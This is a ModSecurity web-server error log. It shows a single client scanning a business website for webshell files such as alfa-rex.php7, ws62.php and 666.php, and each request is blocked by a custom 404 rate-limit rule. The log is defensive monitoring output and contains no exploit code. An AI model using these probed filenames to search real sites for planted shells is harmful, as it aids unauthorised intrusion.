[Mon Mar 02 11:01:12.986593 2026] [:error] [pid 23872:tid 23894] [client 172.190.142.176:54428] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaT9eEzkQFuA2qBk8UPUigAAAZM"]
[Mon Mar 02 11:01:13.528676 2026] [:error] [pid 23872:tid 23876] [client 172.190.142.176:46223] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaT9eUzkQFuA2qBk8UPUjwAAAYE"]
[Mon Mar 02 11:01:13.952179 2026] [:error] [pid 28793:tid 28820] [client 172.190.142.176:24428] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws62.php"] [unique_id "aaT9eQ2_fxBANaHo1f5Y6QAAAA0"]
[Mon Mar 02 11:01:14.374945 2026] [:error] [pid 28795:tid 28873] [client 172.190.142.176:64625] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws62.php"] [unique_id "aaT9erROd53wZBkdI_exhwAAAIo"]
[Mon Mar 02 11:01:14.961574 2026] [:error] [pid 23872:tid 23886] [client 172.190.142.176:28523] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws62.php"] [unique_id "aaT9ekzkQFuA2qBk8UPUlAAAAYs"]
[Mon Mar 02 11:01:15.682456 2026] [:error] [pid 28795:tid 28885] [client 172.190.142.176:15914] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws62.php"] [unique_id "aaT9e7ROd53wZBkdI_exkAAAAJY"]
[Mon Mar 02 11:01:16.104071 2026] [:error] [pid 31257:tid 31271] [client 172.190.142.176:25954] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaT9fP-JFLfishX45N9EmAAAAQg"]
[Mon Mar 02 11:01:16.604689 2026] [:error] [pid 31257:tid 31277] [client 172.190.142.176:23153] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaT9fP-JFLfishX45N9EmwAAAQ4"]
[Mon Mar 02 11:01:17.108253 2026] [:error] [pid 23872:tid 23879] [client 172.190.142.176:24413] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaT9fUzkQFuA2qBk8UPUlgAAAYQ"]
[Mon Mar 02 11:01:17.590011 2026] [:error] [pid 23872:tid 23877] [client 172.190.142.176:46433] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaT9fUzkQFuA2qBk8UPUmQAAAYI"]
[Mon Mar 02 11:01:18.073093 2026] [:error] [pid 23872:tid 23884] [client 172.190.142.176:42363] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaT9fkzkQFuA2qBk8UPUmwAAAYk"]
[Mon Mar 02 11:01:18.563648 2026] [:error] [pid 28795:tid 28869] [client 172.190.142.176:52751] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaT9frROd53wZBkdI_exkwAAAIY"]
[Mon Mar 02 11:01:19.045105 2026] [:error] [pid 31257:tid 31272] [client 172.190.142.176:1372] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaT9f_-JFLfishX45N9EqAAAAQk"]
[Mon Mar 02 11:01:19.882731 2026] [:error] [pid 28795:tid 28874] [client 172.190.142.176:20862] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaT9f7ROd53wZBkdI_exmAAAAIs"]
[Mon Mar 02 11:01:20.914544 2026] [:error] [pid 31257:tid 31280] [client 172.190.142.176:1082] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/co.php"] [unique_id "aaT9gP-JFLfishX45N9EswAAARE"]
[Mon Mar 02 11:01:21.824908 2026] [:error] [pid 23872:tid 23876] [client 172.190.142.176:39395] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/co.php"] [unique_id "aaT9gUzkQFuA2qBk8UPUnwAAAYE"]
[Mon Mar 02 11:01:22.490109 2026] [:error] [pid 23872:tid 23893] [client 172.190.142.176:64603] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/co.php"] [unique_id "aaT9gkzkQFuA2qBk8UPUqAAAAZI"]
[Mon Mar 02 11:01:23.622814 2026] [:error] [pid 31257:tid 31273] [client 172.190.142.176:20817] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/co.php"] [unique_id "aaT9g_-JFLfishX45N9ExAAAAQo"]
[Mon Mar 02 11:01:24.582357 2026] [:error] [pid 28794:tid 28852] [client 172.190.142.176:39422] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cxc.php"] [unique_id "aaT9hKVy2qpaelbUob15yAAAAFA"]
[Mon Mar 02 11:01:25.127377 2026] [:error] [pid 23872:tid 23892] [client 172.190.142.176:1361] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cxc.php"] [unique_id "aaT9hUzkQFuA2qBk8UPU3AAAAZE"]
[Mon Mar 02 11:01:25.720836 2026] [:error] [pid 31257:tid 31263] [client 172.190.142.176:39407] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cxc.php"] [unique_id "aaT9hf-JFLfishX45N9E3wAAAQA"]
[Mon Mar 02 11:01:26.301538 2026] [:error] [pid 31257:tid 31284] [client 172.190.142.176:1248] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cxc.php"] [unique_id "aaT9hv-JFLfishX45N9E4gAAARU"]
[Mon Mar 02 11:01:27.141936 2026] [:error] [pid 28908:tid 28930] [client 172.190.142.176:49792] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gjm.php"] [unique_id "aaT9h4qJmC8ih_lQQnAO8QAAANQ"]
[Mon Mar 02 11:01:27.638222 2026] [:error] [pid 21575:tid 21603] [client 172.190.142.176:39363] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gjm.php"] [unique_id "aaT9hyrocdArcJqFfInDlwAAAVg"]
[Mon Mar 02 11:01:28.300287 2026] [:error] [pid 31257:tid 31278] [client 172.190.142.176:15911] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gjm.php"] [unique_id "aaT9iP-JFLfishX45N9E6QAAAQ8"]
[Mon Mar 02 11:01:29.077813 2026] [:error] [pid 21575:tid 21581] [client 172.190.142.176:52741] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gjm.php"] [unique_id "aaT9iSrocdArcJqFfInDmQAAAUI"]
[Mon Mar 02 11:01:29.625725 2026] [:error] [pid 28794:tid 28854] [client 172.190.142.176:20853] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ex.php"] [unique_id "aaT9iaVy2qpaelbUob15ygAAAFI"]
[Mon Mar 02 11:01:30.364114 2026] [:error] [pid 28794:tid 28850] [client 172.190.142.176:29447] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ex.php"] [unique_id "aaT9iqVy2qpaelbUob15ywAAAE4"]
[Mon Mar 02 11:01:31.120995 2026] [:error] [pid 23872:tid 23895] [client 172.190.142.176:51906] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ex.php"] [unique_id "aaT9i0zkQFuA2qBk8UPU5wAAAZQ"]
[Mon Mar 02 11:01:31.645599 2026] [:error] [pid 23872:tid 23877] [client 172.190.142.176:20848] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ex.php"] [unique_id "aaT9i0zkQFuA2qBk8UPU6gAAAYI"]
[Mon Mar 02 11:01:32.357633 2026] [:error] [pid 23872:tid 23875] [client 172.190.142.176:1393] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/post.php"] [unique_id "aaT9jEzkQFuA2qBk8UPU7QAAAYA"]
[Mon Mar 02 11:01:33.094918 2026] [:error] [pid 31257:tid 31282] [client 172.190.142.176:40273] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/post.php"] [unique_id "aaT9jf-JFLfishX45N9E8gAAARM"]
[Mon Mar 02 11:01:33.729281 2026] [:error] [pid 23872:tid 23888] [client 172.190.142.176:55039] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/post.php"] [unique_id "aaT9jUzkQFuA2qBk8UPU9wAAAY0"]
[Mon Mar 02 11:01:34.314453 2026] [:error] [pid 31257:tid 31287] [client 172.190.142.176:40285] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/post.php"] [unique_id "aaT9jv-JFLfishX45N9E9AAAARg"]
[Mon Mar 02 11:01:35.053207 2026] [:error] [pid 21575:tid 21584] [client 172.190.142.176:27775] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpo.php"] [unique_id "aaT9jyrocdArcJqFfInDqQAAAUU"]
[Mon Mar 02 11:01:35.567788 2026] [:error] [pid 21575:tid 21603] [client 172.190.142.176:51907] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpo.php"] [unique_id "aaT9jyrocdArcJqFfInDqwAAAVg"]
[Mon Mar 02 11:01:36.617130 2026] [:error] [pid 31257:tid 31269] [client 172.190.142.176:40292] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpo.php"] [unique_id "aaT9kP-JFLfishX45N9E-AAAAQY"]
[Mon Mar 02 11:01:37.395016 2026] [:error] [pid 23872:tid 23895] [client 172.190.142.176:55003] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpo.php"] [unique_id "aaT9kUzkQFuA2qBk8UPVBAAAAZQ"]
[Mon Mar 02 11:01:38.164575 2026] [:error] [pid 31257:tid 31280] [client 172.190.142.176:39205] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jq.php"] [unique_id "aaT9kv-JFLfishX45N9E-wAAARE"]
[Mon Mar 02 11:01:38.806421 2026] [:error] [pid 31257:tid 31282] [client 172.190.142.176:15915] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jq.php"] [unique_id "aaT9kv-JFLfishX45N9E_QAAARM"]
[Mon Mar 02 11:01:39.379344 2026] [:error] [pid 28908:tid 28932] [client 172.190.142.176:54994] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jq.php"] [unique_id "aaT9k4qJmC8ih_lQQnAPAAAAANY"]
[Mon Mar 02 11:01:40.239540 2026] [:error] [pid 28795:tid 28880] [client 172.190.142.176:29499] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jq.php"] [unique_id "aaT9lLROd53wZBkdI_exowAAAJE"]
[Mon Mar 02 11:01:40.712445 2026] [:error] [pid 31257:tid 31271] [client 172.190.142.176:1382] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x7.php"] [unique_id "aaT9lP-JFLfishX45N9FBwAAAQg"]
[Mon Mar 02 11:01:41.225293 2026] [:error] [pid 31257:tid 31272] [client 172.190.142.176:29463] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x7.php"] [unique_id "aaT9lf-JFLfishX45N9FCgAAAQk"]
[Mon Mar 02 11:01:42.082039 2026] [:error] [pid 28908:tid 28912] [client 172.190.142.176:39222] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x7.php"] [unique_id "aaT9loqJmC8ih_lQQnAPBgAAAMI"]
[Mon Mar 02 11:01:42.586655 2026] [:error] [pid 21575:tid 21588] [client 172.190.142.176:15729] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x7.php"] [unique_id "aaT9lirocdArcJqFfInDuwAAAUk"]
[Mon Mar 02 11:01:43.474350 2026] [:error] [pid 28794:tid 28845] [client 172.190.142.176:27750] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bes.php"] [unique_id "aaT9l6Vy2qpaelbUob150gAAAEk"]
[Mon Mar 02 11:01:44.104179 2026] [:error] [pid 28793:tid 28825] [client 172.190.142.176:20804] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bes.php"] [unique_id "aaT9mA2_fxBANaHo1f5ZLAAAABI"]
[Mon Mar 02 11:01:45.399115 2026] [:error] [pid 23872:tid 23878] [client 172.190.142.176:28497] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bes.php"] [unique_id "aaT9mUzkQFuA2qBk8UPVCAAAAYM"]
[Mon Mar 02 11:01:46.026493 2026] [:error] [pid 28908:tid 28932] [client 172.190.142.176:1241] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bes.php"] [unique_id "aaT9moqJmC8ih_lQQnAPCwAAANY"]
[Mon Mar 02 11:01:46.798671 2026] [:error] [pid 23872:tid 23886] [client 172.190.142.176:16281] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sadd.php"] [unique_id "aaT9mkzkQFuA2qBk8UPVDAAAAYs"]
[Mon Mar 02 11:01:48.153065 2026] [:error] [pid 28908:tid 28934] [client 172.190.142.176:35161] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sadd.php"] [unique_id "aaT9nIqJmC8ih_lQQnAPDQAAANg"]
[Mon Mar 02 11:01:50.087316 2026] [:error] [pid 23872:tid 23896] [client 172.190.142.176:38573] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sadd.php"] [unique_id "aaT9nkzkQFuA2qBk8UPVGgAAAZU"]
[Mon Mar 02 11:01:51.037089 2026] [:error] [pid 23872:tid 23885] [client 172.190.142.176:44531] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sadd.php"] [unique_id "aaT9n0zkQFuA2qBk8UPVIQAAAYo"]
[Mon Mar 02 11:01:51.743184 2026] [:error] [pid 21575:tid 21583] [client 172.190.142.176:12913] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/vgtyu.php"] [unique_id "aaT9nyrocdArcJqFfInDwAAAAUQ"]
[Mon Mar 02 11:01:52.509473 2026] [:error] [pid 21575:tid 21601] [client 172.190.142.176:12885] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/vgtyu.php"] [unique_id "aaT9oCrocdArcJqFfInDwwAAAVY"]
